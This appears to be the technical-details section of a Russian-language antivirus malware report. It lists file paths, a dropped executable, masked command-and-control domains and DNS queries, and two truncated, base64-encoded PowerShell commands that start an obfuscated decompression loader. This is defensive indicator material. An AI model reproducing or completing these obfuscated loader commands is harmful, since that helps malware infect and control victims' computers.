Техническая информация
- '<SYSTEM32>\wscript.exe' "%WINDIR%\Temp\LkrhfMaQtGkrhb.js"
- %WINDIR%\temp\lkrhfmaqtgkrhb.js
- %WINDIR%\temp\800.exe
- http://vq####9260u2.top/tew.php
- DNS ASK cc####7pvhrf.com
- DNS ASK vq####9260u2.top
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -E IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtAC...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -E IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtAC...